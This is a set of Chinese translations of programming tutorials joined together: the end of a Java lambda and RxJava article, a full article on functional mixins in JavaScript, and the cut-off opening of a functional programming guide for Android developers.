运行完这段例子后,我所期望的和实际输出的是一致的,因为我的程序没有对数组做直接改变,而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起,我也用 Rx 了。但是从现在开始,我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是,请相信我,那是一个函数式程序。在程序里,我有一个纯函数做平方运算,并且我的数组不改变,因为我将使用函数式范式。 ~函数式接口、默认方法、纯函数、函数的副作用~、高阶函数、~可变的和不可变的~、函数式编程和 Lambda 表达式。 是时候解释清楚高阶函数 (HOF) 的含义了。 **拥有至少一个函数类型为参数的函数,或着返回一个函数的函数叫做高阶函数。** 那简直太简单了,并且我们在 Rx 编程中用了很多这个概念。在 Java 8 之前,展示 HOF 还是有点困难的,但是我们使用匿名类作为 HOF。我们大多在 C++ 中使用这个概念,把函数作为一个参数。在安卓中,这就类似于添加一个匿名类为点击事件监听者。所以你可以说,这是 HOF 的一个例子。我会在介绍 Rx 的文章中更详细地解释这个。 ~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的~、函数式编程和 Lambda 表达式。 现在,如果我们使用这些概念,在任何语言中,我们所讨论的纯函数,HOF,不可变的都是接下来的函数式范式。那就是函数式编程。在面向对象编程时我们经常要管理对象的状态,但是在函数式程序里,我们有数据,管理好了不可变性,我们可以大胆地做运算。 ~~函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程~~和 Lambda 表达式。 加油呀!我们已经弄清楚了很多关于函数式编程模棱两可的概念。现在我们要用学习 Lambda 表达式来结束这篇文章。 在进入 Lambda 的章节前,我想复习一下前面的内容。 函数式接口 - 有且仅有一个抽象方法的接口。 默认方法 - 在 Java 8 里,我们可以在接口中定义有方法体的方法,这些叫默认方法。 纯函数 - 一个函数的返回值仅由输入值决定,没有明显可见的副作用。 **Lambda 表达式:** “**在计算机编程中,lambda 表达式,也叫匿名函数,是指一类无需定义标识符(函数名)的函数或子程序。**”(Wiki) 首先,RxJava 并不依赖于 Lambda 表达式。实际上,函数式编程与 Lambda 表达式没有关系,正如你在我以上的例子中看到的那样,我从来没有说过我用了 lambda。只是 IDE 在某些地方可能把我的代码转换成了 lambda 表达式,但我可以不用它来写代码。那么,问题是,为什么在每一篇关于 Rx 或者函数式编程的博客里,我们看到 lambda 表达式总是核心内容。在我看来,你可以把它们理解为简洁高效的匿名函数语法。 在我详细介绍 Lambda 表达式前,有个先决条件。我们已经知道 Java 是一个静态类型语言。它意味着所有的 java 程序对象和变量总是在编译时间里知道数据类型,如下面的例子所示。 ``` int i = 1; float j = 3; Person person = new Person(); String s = "Hello"; ``` 同样的,在 Java 7 之前,我们准备用 Collections 来写一个完整的 List 对象初始化,如下所示。 ``` List list = new ArrayList(); ``` 但在 Java 7,我们有类型引用的概念。使用这个概念,我们可以写出如下简洁的代码。 ``` List list = new ArrayList<>(); ``` 所以现在,编译器在编译时根据上下文决定数据类型。这样,我们就节省了很多时间。 再一次,数据类型引用非常重要。所以我们要关注这个。在 Lambda 表达式中,我们要用到很多次,但是大家因为缺少这个概念而感到困惑。 我们继续用另外一个例子来描述同一个概念。 我写了一个方法,整数作为参数传入,而这个方法将不改变任何东西,返回同样的数值给我,如下所示。 ``` public static void main(String [] args){ System.out.println(giveMeBack(1)); } public static int giveMeBack(int a){ return a; } ``` 这是简单的例子。现在我想传个 3.14 给这个方法,有没有人告诉我,会发生什么呢? [![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM-300x227.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM.png) 是的,你的程序将无法编译。我已经说过了,这个方法只能传入整数。我的下一个要求是,我要使得这个方法适用于所有数据类型。作为一个开发者,我是一个懒人。我不想写重复的代码。这里我想利用 Java 的引用。 ``` public static T giveMeBack(T a){ return a; } ``` 这也叫泛型。利用泛型,我节省了很多时间。这个方法可以适用于任何数据类型,如下图所示。 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM-300x164.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM.png) 现在我从 Java 引用中获得了好处。怎么样获得的呢?我的编译器,编译我的程序,为我的所有数据类型生成了代码。现在,编译器可以很容易地从我的参数的数据类型做决定。这里没有什么神奇的地方。每当我没有提到数据结构,我的编译器就从上下文中提取并且赋予其数据类型,因为 Java 是一个静态类型语言。 再重复一遍,Java 是一个静态类型语言。所以如果你觉得你在 IDE 中写的代码没有任何类型。你可能会认为你使用的是一个动态类型语言。你错了,你只是在利用 Java 类型推断而已。 现在,我们可以开始写 Lambda 表达式了。目前,Lambda 表达式只支持 Java 8。在安卓中,如果我们想用它,我们可以用 Retrolambda 库。现在们来解释一下 lambda 表达式。 在安卓中,我想要一个可监听点击事件的按钮,如下面代码所示。 ``` Button button = new Button(this); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // Click } }); ``` 这里我们传入了一个 OnClickLisetener 的匿名对象。当用户点击,onClick 方法就会被调用。现在我们要用 Lambda 表达式改变这个匿名的,恶心的,复杂的代码。 ``` Button button = new Button(this); button.setOnClickListener((View v)->{ // Click }); ``` 通过使用 Lambda 表达式,我的代码可读性更强了。我准备再重构一下上面的例子。 ``` button.setOnClickListener(v -> /* Click */); ``` 我真的很喜欢写类似上面的代码,但是在开始的时候,我真的很困惑,编译器是如何知道我这里在做什么。首先,我利用了 Java 引用。就像编译时,Java 自动知道‘v'是一个 View,因为我们用的是**函数式接口**。这个接口只有一个抽象方法,它的参数是一个 view,如下所示。 ``` /** * Interface definition for a callback to be invoked when a view is clicked. */ public interface OnClickListener { /** * Called when a view has been clicked. * * @param v The view that was clicked. */ void **onClick**(View v); } ``` 还记得接口函数的概念吗?现在所有的线索都被串起来了。我们已经讨论了函数式接口。它意味着任何以函数式接口为参数的方法,我就可以写成 Lambda 表达式。这意味着,Lambda 表达式是一个语法糖。我觉得你们现在已经知道 Lambda 表达式是个什么东西了。这就是为什么我要关注函数式接口和其它名词了。 再来一个例子。 ``` Without Lambda: Thread thread = new Thread(new Runnable() { @Override public void run() { // Without Lambda } }); thread.start(); ``` 使用 Lambda 表达式: ``` Thread thread = new Thread(()->{}); thread.start(); ``` 在 Java 8 或者 Rx Java 中,我们会使用很多函数式接口,因为我们想写出简单明了的代码,并且寥寥数语就可以完成一个大功能。现在我觉得所有的困惑都已经清晰了。这里有一些关于 Lambda 表达式更重要的点。 如果当按钮被按下时,我想写一行代码,我可以写成下面这样。 ``` button.setOnClickListener(v -> System.out.println()); ``` 但如果我想写不止一行,那么我需要把它们写进花括号里,如下所示。 ``` button.setOnClickListener(v -> { System.out.println(); doSomething(); }); ``` 我可以明确提及数据类型,如下所示。 ``` button.setOnClickListener((View v) -> System.out.println()); ``` 现在,如何返回 Lambda 表达式类型呢?再给你一个例子。 ``` public interface Add{ int add(int a, int b); } private Add add= new Add() { @Override public int add(int a, int b) { return a+b; } }; int sum = add.add(1,2); ``` 现在我使用 Lambda 表达式来表现同一个例子。 ``` public interface Add{ int add(int a, int b); } private Add add = (a, b) -> a+b; int sum = add.add(1,2); ``` 现在可以看到我写的代码有多简洁了。它们的功能是一样的。我没有提及任何返回的数据类型,因为 Java 的类型引用自动帮我决定了这是一个整型。现在,如果我想添加更多的代码到 add 方法的实现中,只需要像下面那样写就行了。 ``` public interface Add{ int add(int a, int b); } private Add add = (a, b) -> { System.out.println(); return a+b; }; int sum = add.add(1,2); ``` 现在我们知道函数式接口、默认方法、纯函数、函数的副作用、阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。 结论: 大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)。到现在为止,我们了解了观察者模式、拉模式与推模式、响应式与命令式、函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。我认为,如果你都了解了上述名词,Rx 的学习将会越来越简单。现在我感觉你们都已经了解了,所以接下来 Rx 的学习对于我们都会更简单。 祝你们有个愉快的周末。让我们下周再见吧。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/functional-mixins-composing-software.md ================================================ > * 原文地址:[Functional Mixins](https://medium.com/javascript-scene/functional-mixins-composing-software-ffb66d5e731c) > * 原文作者:本文已获原作者 [Eric Elliott](https://medium.com/@_ericelliott) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[yoyoyohamapi](https://github.com/yoyoyohamapi) > * 校对者:[Tina92](https://github.com/Tina92) [reid3290](https://github.com/reid3290) --- # 函数式 Mixin(软件编写)(第七部分) Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) (译注:该图是用 PS 将烟雾处理成方块状后得到的效果,参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。)) > 注意:这是 “软件编写” 系列文章的第七部分,该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件(compositional software)技术(译注:关于软件可组合性的概念,参见维基百科 > [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/functors-categories.md) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/javascript-factory-functions-with-es6.md) **函数式 Mixins** 是通过管道(pipeline)连接起来的、可组合的工厂函数。每一个工厂函数就类似于流水线上的工人,负责为原始对象添加一个额外的属性或者行为。函数式 Mixin 不依赖一个基础工厂函数或者构造函数,我们仅仅需要向 Mixin 管道入口塞入任意一个对象,在管道出口就能获得该对象的增强版本。 函数式 Mixin 有这么一些特点: - 可以实现数据私有(通过闭包)。 - 可以继承私有状态。 - 可以实现多继承。 - 不存在[菱形问题](https://www.wikiwand.com/en/Multiple_inheritance#/The_diamond_problem),在 JavaScript 实现的函数式 Mixin 中,有这么一个原则 -- 后进有效(last in wins)。 - 不需要基类。 ### 动机 现如今的软件开发都是在做组合工作:我们将大型的、复杂的问题,划分成多个小的、简单的问题,对各个小问题的解决最终就构成了我们的应用。 组合有下面这两个基本元素: - 函数 - 数据结构 这些基本元素组成了应用结构。通常,复合对象(composite objects)是通过类继承(某个类从父类继承了许多功能,再通过扩展或者重载来增强自身)产生的。类继承的问题在于,它描述的是一个 **is-a** 的思考,例如,“一个管理员也是一个员工”,这种思考方式会造成很多的设计问题: - **紧耦合问题**:由于子类依赖于父类的实现,在面向对象设计中,类继承无法避免的产生了最紧耦合。 - **基类的脆弱问题**:由于紧耦合的存在,对基类的更改可能会破坏大量的子类-甚至潜在改变由第三方管理的代码。作者可能在不知情的状态下破坏了代码。 - **不够灵活的继承层次问题**:由于各个类都是由一个祖先分类演化开来,久而久之,对于新的用例,我们将难以确定其类别。(译注:比如绿色卡车这个类应当继承自卡车类,还是继承自绿色类?) - **不得已的复制问题**:由于不够灵活的继承层次,新的用例通常都是通过复制实现的,而不是扩展,这就造成了相似类之间可能存在歧义。一旦出现了复制问题,那么新的类该从哪个类继承,为什么要从这个类继承,都变得模棱两可了。 - **猩猩和香蕉问题**:“面向对象的问题在于解决问题时不得不构建一整个隐性环境。这好比你只想要一只香蕉,但最终拿到的确是拿着猩猩的香蕉和整个丛林。” ~ Joe Armstrong 在其著作 [Coders at Work](http://www.amazon.com/gp/product/1430219483?ie=UTF8&camp=213733&creative=393185&creativeASIN=1430219483&linkCode=shr&tag=eejs-20&linkId=3MNWRRZU3C4Q4BDN) 中这样描述面向对象。 在 “认为一个管理员是一个员工”(is-a) 的思维模式下,你如何通过类继承实现这么一个场景:雇佣一个外部顾问来临时执行一些管理性质的工作。如果你提前就知道这个场景面临的种种需求,也许类继承可以工作良好,但至少我个人从未见过谁能对此了若指掌。随着应用规模的膨胀,更有效的功能扩展方式也渐渐出现。 Mixin 横空出世,提供了类继承所不能及的灵活性。 ### 什么是 Mixin ? > **“优先考虑对象组合而不是类继承”** 这句话出自 “四人帮(the Gang of Four,GoF)” 的著作 [**Design Patterns: Elements of Reusable Object Oriented Software**](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612/ref=as_li_ss_tl?ie=UTF8&qid=1494993475&sr=8-1&keywords=design+patterns&linkCode=ll1&tag=eejs-20&linkId=6c553f16325f3939e5abadd4ee04e8b4) Mixin 是一个**对象组合**的形式,某个组件特性将被混入(mixin)到复合对象中,这样,每个 Mixin 的特性也能变成这个复合对象的特性。 “mixins” 这个术语在面向对象程序设计中是来自于出售自助口味冰淇淋的甜品店。在这样的冰淇淋店中,你买不到一个多种口味的冰淇淋,你只能买到一个原味冰淇淋,然后根据自己的口味,添加其他风味的酱料。 对象的 Mixin 过程与之类似:一开始,你只有一个空对象,通过不断混入新的特性来扩展这个对象。由于 JavaScript 支持动态对象扩展(译注:`obj.newProp = xxx`),并且对象不依赖于类,因此,在 JavaScript 中进行 Mixin 将无比简单,这也让 Mixin 成为了 JavaScript 最常用的继承方式。下面这个例子展示了我们如何获得一个多味冰淇淋: ```js const chocolate = { hasChocolate: () => true }; const caramelSwirl = { hasCaramelSwirl: () => true }; const pecans = { hasPecans: () => true }; const iceCream = Object.assign({}, chocolate, caramelSwirl, pecans); /* // 如果你所采用的环境支持解构赋值,也可以这么做: const iceCream = {...chocolate, ...caramelSwirl, ...pecans}; */ console.log(` hasChocolate: ${ iceCream.hasChocolate() } hasCaramelSwirl: ${ iceCream.hasCaramelSwirl() } hasPecans: ${ iceCream.hasPecans() } `); ``` 程序输出如下: ``` hasChocolate: true hasCaramelSwirl: true hasPecans: true ``` ### 什么是函数式继承 ? 使用函数式继承(Functional Inheritance)来增加对象特性的方式是,将一个增强函数(augmenting function)直接应用到对象实例上。函数能通过闭包来实现数据私有,增强函数使用动态对象扩展来为对象增加新的属性或者方法。 让我们看一下 Douglas Crackford 给出的函数式继承的例子: ```js // 基础对象工厂 function base(spec) { var that = {}; // 创建一个空对象 that.name = spec.name; // 为对象增加一个 “name” 属性 return that; // 生产完毕,返回该对象 } // 构造一个子对象,该对象产生(继承)自基础对象工厂 function child(spec) { // 通过 “基础” 构造函数来创建对象 var that = base(spec); // 通过增强函数来动态扩展对象 that.sayHello = function() { return 'Hello, I\'m ' + that.name; }; return that; // 返回该对象 } // Usage var result = child({ name: 'a functional object' }); console.log(result.sayHello()); // "Hello, I'm a functional object" ``` 由于 `child()` 紧耦合于 `base()`,当我们创建更多的子孙对象 `grandchild()`、`greateGrandChild()` 时,就不得不面临类继承所面临的问题。 ### 什么是函数式 Mixin ? 使用函数式 Mixin 扩展对象依赖于一些可组合的函数,这些函数能够将新的特性混入到指定对象上。新的属性或者行为来自于指定的对象。函数式的 Mixin 不依赖于基础对象构造工厂,传递任意一个对象,经过混入,就能得的扩展后的对象。 我们看到下面的一个例子,`flying()` 将能够为对象添加飞行的能力: ```js // flying 是一个可组合的函数 const flying = o => { let isFlying = false; return Object.assign({}, o, { fly () { isFlying = true; return this; }, isFlying: () => isFlying, land () { isFlying = false; return this; } }); }; const bird = flying({}); console.log( bird.isFlying() ); // false console.log( bird.fly().isFlying() ); // true ``` 注意到,当我们调用 `flying()` 方法时,我们需要将待扩展的对象传入,函数式 Mixin 是服务于函数组合的。我们再创建一个喊叫 Mixin,当我们传递一个喊叫函数 `quack`,`quacking()` 这个 Mixin 就能为对象添加喊叫的能力: ```js const quacking = quack => o => Object.assign({}, o, { quack: () => quack }); const quacker = quacking('Quack!')({}); console.log( quacker.quack() ); // 'Quack!' ``` ### 对函数式 Mixin 进行组合 函数式 Mixin 可以通过一个简单的组合函数进行组合。现在,对象具备了飞行和喊叫的能力: ```js const createDuck = quack => quacking(quack)(flying({})); const duck = createDuck('Quack!'); console.log(duck.fly().quack()); ``` 这段代码可能不是那么易读,并且,也不容易 debug 或者改变组合顺序。 这是一个标准的函数组合方式,在前面的章节中,我们知道,更优雅的组合方式是 `composing()` 或者 `pipe()`。如果我们使用 `pipe()` 方法来反转函数的组合顺序,那么组合能够被读成 `Object.assign({}, ...)` 或者 `{...object, ...spread}`,这保证了 mixin 的顺序是按照声明顺序的。如果出现了属性冲突,那么按照**后进有效**的原则处理。 ```js const pipe = (...fns) => x => fns.reduce((y, f) => f(y), x); // 如果不想用自定义的 `pipe()` // 可以 import pipe from `lodash/fp/flow` const createDuck = quack => pipe( flying, quacking(quack) )({}); const duck = createDuck('Quack!'); console.log(duck.fly().quack()); ``` ### 什么时候使用函数式 Mixin ? 你应该尽可能使用最简单的抽象来解决问题。首先被你考虑的应该是最简单的纯函数。如果对象需要维持一个持续的状态,那么考虑使用工厂函数。如果需要构建更加复杂的对象,再考虑使用函数式 Mixin。 下面列举了一些函数式 Mixin 的适用场景: - 应用状态管理,例如 Redux store。 - 特定的横切关注点或者服务(cross-cutting concerns and services),例如一个集中的日志管理。 - 具有生命周期钩子的 UI 组件。 - 可组合的数据类型,例如,JavaScript 的 `Array` 类型通过 Mixin 实现 `Semigroup`、`Functor`、`Foldable` 等。 一些代数结构可能派生于另一些代数结构,这意味着某个特定的派生能够组合成新的数据类型,而不需要重新自定义实现。 ### 注意了 大多数问题通过纯函数就解决了,但函数式 Mixin 却并非如此。类似于类继承,函数式 Mixin 也有其自身的一些问题,甚至于,它可能重现类继承所面临的问题。 你可以采纳下面这些建议来规避这个问题: - 在必须的情况下,按照从左到右的顺序考虑实现方式:纯函数 > 工厂函数 > 函数式 Mixin > 类。 - 避免使用 “is-a” 关系来组织对象、Mixin 以及数据类型。 - 避免 Mixin 间的隐式依赖,无论如何,函数式 Mixin 都不应该自我维护状态,也不需要其他的 Mixin。(译注:后文会解释什么叫做隐式依赖)。 - “函数式 Mixin” 不意味着 “函数式编程”。 ### 类 类继承几乎(甚至可以说是从来)不是 JavaScript 中扩展功能的最佳途径,但不一定所有人都这么想,因此你无法控制一些第三方库或者框架去使用类和类继承。在这种情况下,对于使用了 `class` 关键字的库或者框架来说,需要做到: 1. 不要求你(指使用这些库或框架的开发者)使用它们的类来扩展自己的类(不要求你去构建一个多层次的类层级)。 2. 不要求你直接使用 `new` 关键字,换言之,由框架去负责对象实例化过程。 Angular 2+ 和 React 都满足了这些要求,所以只要你不扩展自己的类,你就大可放心的使用它们。React 允许你不使用类来构建组件,但是你的组件可能因此丧失掉一些 React 中一些基类所提供的优化措施,并且,你的组件可能也无法像文档范例中描述的那样去工作。即便如此,在使用 React 的任何时候,你都应当优先考虑使用函数形式来构建组件。 #### 类的性能 在一些浏览器中,类可能带来了某些 JavaScript 引擎的优化。但是,在绝大多数场景中,这些优化不会对你的应用性能产生明显的提高。实际上,多年以来,人们都不需要担心使用 `class` 带来的性能差异。无论你怎么构建对象,对象的创建和属性访问已经够快了(每秒上百万的 ops)。 当然,这倒不是说 RxJS、Lodash 的作者们可以不去看看使用 `class` 能为创建对象带来多大的性能提升。而是说除非你在减少使用 `class` 的过程中遭遇了严重的性能瓶颈,否则你的优化都更应当着眼于构建整洁、灵活的代码,而不是去担心不用类丢掉的性能。 ### 隐式依赖 你可能对怎么创建函数式 Mixin,并让他们协同工作饶有兴趣。想象你现在要为你的应用构建一个配置管理器,这个管理器能为应用生成配置,并且,当代码试图访问不存在的配置时,还能进行警告。 可能你会这样实现: ```js // 日志 Mxin const withLogging = logger => o => Object.assign({}, o, { log (text) { logger(text) } }); // 在配置 Mixin 中,没有显式地依赖日志 Mixin:withLogging const withConfig = config => (o = { log: (text = '') => console.log(text) }) => Object.assign({}, o, { get (key) { return config[key] == undefined ? // vvv 这里出现了隐式依赖 vvv this.log(`Missing config key: ${ key }`) : // ^^^ 这里出现了隐式依赖 ^^^ config[key] ; } }); // 由于依赖隐藏,另一个模块需要引入 withLogging 及 withConfig const createConfig = ({ initialConfig, logger }) => pipe( withLogging(logger), withConfig(initialConfig) )({}) ; // elsewhere... const initialConfig = { host: 'localhost' }; const logger = console.log.bind(console); const config = createConfig({initialConfig, logger}); console.log(config.get('host')); // 'localhost' config.get('notThere'); // 'Missing config key: notThere' ``` 译注:在这种实现中,`withConfig` 这个 Mixin 在为对象 `o` 添加功能时,依赖了对象 `o` 的 `log` 方法,因此,需要保证 `o` 具备 `log` 方法。 也可能你会这样实现: ```js import withLogging from './with-logging'; const addConfig = config => o => Object.assign({}, o, { get (key) { return config[key] == undefined ? this.log(`Missing config key: ${ key }`) : config[key] ; } }); const withConfig = ({ initialConfig, logger }) => o => pipe( // vvv 在此组合显式依赖 vvv withLogging(logger), // ^^^ 在此组合显式依赖 ^^^ addConfig(initialConfig) )(o) ; // 配置工厂现在只需要知道 withConfig const createConfig = ({ initialConfig, logger }) => withConfig({ initialConfig, logger })({}) ; const initialConfig = { host: 'localhost' }; const logger = console.log.bind(console); const config = createConfig({initialConfig, logger}); console.log(config.get('host')); // 'localhost' config.get('notThere'); // 'Missing config key: notThere' ``` 译注:在这个实现中,`withConfig` 显式依赖了 `withLogging`,因此,不用保证 `o` 具有 `log` 方法,`withLogging` 能够为 `o` 提供 `log` 能力。 选择哪种实现,是取决于多个方面的。使用提升后的数据类型来使得函数式 Mixin 工作是可行的,但如果是这样的话,在函数签名和 API 文档中,API 约定需要设计的足够清晰。 这也就是为什么在隐式依赖的版本中,会为 `o` 设置默认值。由于 JavaScript 缺乏类型声明的能力,我们只能通过默认值来保障类型正确: ```js const withConfig = config => (o = { log: (text = '') => console.log(text) }) => Object.assign({}, o, { // ... }) ``` 如果你使用 TypeScript 或者 Flow,更好的方式是为对象需求声明一个显式接口。 ### 函数式 Mixin 与 函数式编程 贯穿函数式 Mixin 的“函数式”不意味着这种 Mixin 具备“函数式编程”提倡的函数纯度。实际上函数式 Mixin 通常都是面向对象风格的,并且充斥着副作用。许多函数式 Mixin 都会改变你传入的对象,这个你务必注意。 话说回来,一些开发者可能更偏爱函数式编程风格,因此,也就不会为传入对象维护一个引用标识。在撰写 Mixin 时,你要假定使用这些 Mixin 的代码风格不只是函数式的,也可能是面向对象的,甚至是各种风格杂糅在一起的。 这意味着如果你需要返回对象实例,那么就返回 `this` 而不是闭包中的对象实例引用。在函数式编码风格下,闭包中的对象实例引用可能反映的不是用一个对象。译注:在下面这段代码中,`fly()` 返回了 `this` 而不是闭包中保存的 `o`: ```js const flying = o => { let isFlying = false; return Object.assign({}, o, { fly () { isFlying = true; return this; }, isFlying: () => isFlying, land () { isFlying = false; return this; } }); }; ``` 另外,你得知道对象的扩展是通过 `Object.assign()` 或者 `{...object, ...spread}` 实现的,这意味着如果你的对象有不可枚举的属性,它们将不会出现在最终的对象上: ```js const a = Object.defineProperty({}, 'a', { enumerable: false, value: 'a' }); const b = { b: 'b' }; console.log({...a, ...b}); // { b: 'b' } ``` 如果你正使用函数式 Mixin,而没有使用函数式编程,那么就别指望这些 Mixin 是纯的。相反,你得认为待扩展的基础对象可能是可变的,Mixin 也是充斥着副作用的,也没有引用透明的保障,亦即,对由函数式 Mixin 组合成的工厂进行缓存,通常是不安全的。 ### 总结 函数式 Mixin 是一系列可组合的工厂函数,这些工厂函数能为对象增添属性或者行为,这些函数就好比流水线的各个站点一样。相较于类继承 “is-a” 的思考模式,函数式 Mixin 帮助对象从多个源获得特性,其所表达的是 **has-a**、**uses-a**、或者说 **can-do** 的思考模式。 需要注意的是,“函数式 Mixin” 没有向你暗示“函数式编程”,其仅仅描述了 -- “使用函数实现的 Mixin”。当然了,函数式 Mixin 也可以使用函数式编程的风格来撰写,这样能帮助我们避免副作用并且保证引用透明。但对于第三方库所提供的函数式 Mixin,就可能充斥着副作用和不确定性了。 - 不同于简单对象 Mixin,函数式 Mixin 可以通过闭包来实现真正的数据私有,以及对私有数据的继承。 - 不同于单一祖先的类继承,函数式 Mixin 能够支持多祖先,在这种情形下,它就像是装饰器(decorators)、特征(traits)、或者多继承(multiple inheritance)。 - 不同于 C++ 中的多继承,使用 JavaScript 实现的函数式 Mixin 在面临多继承问题时,基本不会存在菱形问题,当属性或者方法冲突时,认为最后进入的 Mixin 为胜出者,将采纳他提供的特性。 - 不同于类的装饰器、特征、或者多继承,函数式 Mixin 不需要基类。 最后,你还要切记,不要把事情搞复杂,函数式 Mixin 不是必需的,对于某个问题,你的解决思路应当是: 纯函数 > 工厂函数 > 函数式 Mixin > 类 **未完待续……** ### 接下来 想学习更多 JavaScript 函数式编程吗? [跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/),机不可失时不再来! [](https://ericelliottjs.com/product/lifetime-access-pass/) **Eric Elliott** 是 [**“编写 JavaScript 应用”**](http://pjabook.com) (O’Reilly) 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献,例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家,包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。 大多数时间,他都在 San Francisco Bay Area,同这世上最美丽的女子在一起。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/functional-programming-for-android-developers-part-1.md ================================================ > * 原文地址:[Functional Programming for Android developers — Part 1](https://medium.com/@anupcowkur/functional-programming-for-android-developers-part-1-a58d40d6e742#.it6ndspj6) * 原文作者:[Anup Cowkur](https://medium.com/@anupcowkur) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [skyar2009](https://github.com/skyar2009) * 校对者:[Danny1451](https://github.com/Danny1451), [yunshuipiao](https://github.com/yunshuipiao) --- # Android 开发者如何函数式编程 (一) - [Android 开发者如何函数式编程 (二)](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-2.md) - [Android 开发者如何函数式编程 (三)](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md) ![](https://cdn-images-1.medium.com/max/2000/1*DCzEYU60hk2pO7WCJj3GoQ.jpeg) 最近我花了一些时间学习 [Elixir](http://elixir-lang.org/) —— 一门极好的编程语言,适合初学者入门学习。 我在想,为什么我们不在 Android 开发中使用函数式编程的思想和技术呢? 大多数人当听到**函数式编程**时,他们会想到 Hacker News 发布的一些关于单子、高阶函数以及抽象数据类型的内容。这好像是一个离平时辛勤编码的程序员很远的神秘领域,它仅仅属于强大的黑客们。 不去管它!我要说你也可以学它,你也可以使用它,你也可以用它打造漂亮的应用 —— 拥有优雅的、可读性强的并且错误少的代码。 欢迎阅读 Android 开发者如何函数式编程(FP)。接下来的一系列文章中,我将带领大家一起学习 FP 基础以及如何在老版本的 Java 中使用 FP。本文旨在实用性,会尽量少用学术性的言论。 FP 是一个很大的话题。我们接下来只会涉及对编写 Android 代码有用的思想和技术。由于完整性的原因大家可能会看到了一些不能直接应用的思想,但是我会尽可能的保证材料的相关性。 准备好了吗?我们开始吧。 ### 什么是函数式编程?我为什么要用? 问得好。**函数式编程**是一系列被不公平对待的编程思想的保护伞。它的核心思想是,它是一种将程序看成是数学方法的求值、不会**改变状态**、不会产生**副作用**(后面我们马上会谈到)的编程方式。 FP 核心思想强调: - **声明式代码** —— 程序员应该关心**是什么**,让编译器和运行环境去关心**怎样做**。 - **明确性** —— 代码应该尽可能的明显。尤其是要隔离副作用避免意外。要明确定义数据流和错误处理,要避免 **GOTO** 语句和 **异常**,因为它们会将应用置于意外的状态。 - **并发** —— 因为纯函数的概念,大多数函数式代码默认都是并行的。由于CPU运行速度没有像以前那样逐年加快((详见 [摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law))), 普遍看来这个特点导致函数式编程渐受欢迎。以及我们也必须利用多核架构的优点,让代码尽量的可并行。 - **高阶函数** —— 函数和其他的语言基本元素一样是一等公民。你可以像使用 string 和 int 一样的去传递函数。 - **不变性** —— 变量一经初始化将不能修改。一经创建,永不改变。如果需要改变,需要创建新的。这是明确性和避免副作用之外的另一方面。如果你知道一个变量不能改变,当你使用时会对它的状态更有信心。 声明式、明确性和可并发的代码,难道不是更易推导以及从设计上就避免了意外吗?真希望已经激起了你的兴趣。 作为本系类文章的第一部分,我们从一些 FP 的基本概念开始:**纯粹**、**副作用**和**排序**。 ### 纯函数 当一个函数的输出只依赖输入并且没有**副作用**(我们后面马上会谈到),那么这个函数就是纯函数。下面我们看一个例子。 一个简单的两数求和的函数。一个数从文件中读取,另一个数是传进来的参数。 int add(int x) { int y = readNumFromFile(); return x + y; } 